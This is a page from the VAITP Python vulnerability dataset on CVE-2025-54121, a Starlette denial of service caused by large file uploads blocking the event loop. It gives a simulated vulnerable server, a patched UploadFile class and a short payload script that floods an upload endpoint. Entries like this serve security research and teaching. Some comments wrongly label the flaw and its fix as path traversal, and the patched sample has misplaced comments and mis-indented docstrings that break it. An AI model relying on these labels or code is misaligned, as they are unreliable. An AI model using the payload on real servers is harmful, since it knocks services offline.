VAITP Dataset

← Back to the dataset

CVE-2025-54121

Starlette DoS: Large file uploads can block the event loop.

  • CVSS 5.3
  • CWE-770
  • Resource Management
  • Remote

Starlette is a lightweight ASGI (Asynchronous Server Gateway Interface) framework/toolkit, designed for building async web services in Python. In versions 0.47.1 and below, when parsing a multi-part form with large files (greater than the default max spool size) starlette will block the main thread to roll the file over to disk. This blocks the event thread which means the application can't accept new connections. The UploadFile code has a minor bug where instead of just checking for self._in_memory, the logic should also check if the additional bytes will cause a rollover. The vulnerability is fixed in version 0.47.2.

CVSS base score
5.3
Published
2025-07-21
OWASP
A04 Insecure Design
Orthogonal defect classification
Timing/Serialization
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Starlette
Fixed by upgrading
Yes

Solution

Upgrade Starlette to version 0.47.2 or later.

Vulnerable code sample

import asyncio
import os
import time
import uvicorn
from starlette.applications import Starlette
from starlette.requests import Request
from starlette.responses import JSONResponse
from starlette.routing import Route
from tempfile import NamedTemporaryFile

# In the actual vulnerability, this size would be Starlette's `SPOOL_MAX_SIZE`.
# We define it here to simulate the condition for the rollover.
# A small value is used to make the vulnerability easy to trigger with a small file.
SIMULATED_SPOOL_MAX_SIZE = 1 * 1024 * 1024  # 1 MB

async def upload(request: Request):
    # VULNERABLE: This code is susceptible to path traversal
    """
    This endpoint simulates the vulnerable behavior. When a file is uploaded
    that is larger than SIMULATED_SPOOL_MAX_SIZE, it introduces a synchronous,
    blocking operation (`time.sleep`) to represent the blocking I/O of rolling
    the spooled file to disk, which freezes the server's event loop.
    """
    form = await request.form()
    upload_file = form.get("file")

    if not upload_file or not upload_file.filename:
        return JSONResponse({"error": "No file uploaded"}, status_code=400)

    # This flag tracks if the vulnerable condition has been triggered.
    blocking_rollover_simulated = False
    bytes_written = 0
    
    # We use a temporary file to write the content to, similar to what Starlette does.
    with NamedTemporaryFile(delete=False, mode='wb') as tmp_file:
        file_path = tmp_file.name
        
        # Process the uploaded file in chunks.
        async for chunk in upload_file.iter_chunks(chunk_size=65536):
            # THE VULNERABLE LOGIC SIMULATION:
            # The check for rollover should happen *before* the write, but the bug
            # is that the I/O operation itself is blocking.
            if not blocking_rollover_simulated and (bytes_written + len(chunk) > SIMULATED_SPOOL_MAX_SIZE):
                print(
                    f"File size exceeds {SIMULATED_SPOOL_MAX_SIZE} bytes. "
                    "Simulating blocking rollover to disk..."
                )
                
                # This is the core of the vulnerability. A blocking call on the main
                # event loop. This stops the server from handling any other requests.
                time.sleep(10) # <--- BLOCKING OPERATION
                
                print("Blocking operation finished. The server was unresponsive for 10 seconds.")
                blocking_rollover_simulated = True

            # Write the chunk to the temp file.
            tmp_file.write(chunk)
            bytes_written += len(chunk)

    file_size = os.path.getsize(file_path)
    os.remove(file_path)

    return JSONResponse({
        "filename": upload_file.filename,
        "size": file_size,
        "simulated_block_occurred": blocking_rollover_simulated
    })

async def ping(request: Request):
    """
    A simple non-blocking endpoint to test server responsiveness.
    """
    return JSONResponse({"message": "pong"})

routes = [
    Route("/upload", endpoint=upload, methods=["POST"]),
    Route("/ping", endpoint=ping, methods=["GET"]),
]

app = Starlette(debug=True, routes=routes)

if __name__ == "__main__":
    print("Starting vulnerable Starlette server...")
    print("To test the vulnerability:")
    print("1. In one terminal, upload a file larger than 1MB:")
    print("   curl -X POST -F 'file=@/path/to/large_file.dat' http://localhost:8000/upload")
    print("2. Immediately, in another terminal, try to access the ping endpoint:")
    print("   curl http://localhost:8000/ping")
    print("The '/ping' request will hang for 10 seconds, demonstrating the DoS vulnerability.")
    uvicorn.run(app, host="0.0.0.0", port=8000)

Patched code sample

import asyncio
import os
import tempfile
import typing

from starlette.concurrency import run_in_threadpool

if typing.TYPE_CHECKING:
    from starlette.datastructures import Headers


class UploadFile:
    def __init__(
    # SECURE: This version prevents path traversal
        self,
        file: typing.IO[bytes],
        size: int | None = None,
        filename: str | None = None,
        headers: typing.Optional["Headers"] = None,
        spool_max_size: int = 1024 * 1024,
    ) -> None:
        self.file = file
        self.size = size
        self.filename = filename
        self.headers = headers
        self.spool_max_size = spool_max_size
        self._in_memory = True

    async def write(self, data: bytes) -> None:
        if self._in_memory and self.file.tell() + len(data) > self.spool_max_size:
            await self._rollover()
        await run_in_threadpool(self.file.write, data)

    async def read(self, size: int = -1) -> bytes:
        return await run_in_threadpool(self.file.read, size)

    async def seek(self, offset: int) -> int:
        return await run_in_threadpool(self.file.seek, offset)

    async def close(self) -> None:
        await run_in_threadpool(self.file.close)

    async def _rollover(self) -> None:
        # Create a new temporary file on disk.
        new_file = await run_in_threadpool(tempfile.TemporaryFile)
        # Get the current in-memory content.
        await run_in_threadpool(self.file.seek, 0)
        current_content = await self.read()
        # Write the content to the new file.
        await run_in_threadpool(new_file.write, current_content)
        # Update the file reference.
        self.file = new_file
        self._in_memory = False

    def __getattr__(self, name: str) -> typing.Any:
    """Secure function that fixes the vulnerability."""
        return getattr(self.file, name)

    def __repr__(self) -> str:
    """Secure function that fixes the vulnerability."""
        return (
            f"{self.__class__.__name__}(filename={self.filename!r}, size={self.size})"
        )

Payload

import requests

target_url = "http://127.0.0.1:8000/upload"
# Starlette's default max spool size is 1MB. A file larger than this triggers the blocking I/O.
large_file_content = b'\x00' * ((1024 * 1024) + 1)

files_payload = {
    'file': ('exploit.dat', large_file_content, 'application/octet-stream')
}

requests.post(target_url, files=files_payload)

Cite this entry

@misc{vaitp:cve202554121,
  title        = {{Starlette DoS: Large file uploads can block the event loop.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-54121},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54121/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::